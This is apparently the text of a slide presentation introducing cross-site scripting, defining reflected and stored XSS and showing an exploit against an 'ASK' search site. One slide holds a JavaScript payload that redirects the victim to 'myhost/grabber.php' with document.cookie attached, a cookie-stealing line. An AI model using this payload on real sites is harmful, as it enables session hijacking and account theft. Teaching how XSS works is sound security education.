2. What Is XSS ? ! Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls

3. Simple Vulnerability

4. Reaction…

5. Fixed Code

6. Reaction…

7. Non-Persistent XSS The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type.These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.( Example: Search ENGINE )

8. Persistent XSS The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. Example: Comment Box, Online Messeage Box And etc…

9. Non-Persistent XSS In ASK

11. Exploit ASK XSS Vulnerability

12. File.js Content location.href='http://myhost/grabber.php?c ookie='+document.cookie;

13. Grabber.php Content

14. Thanks To All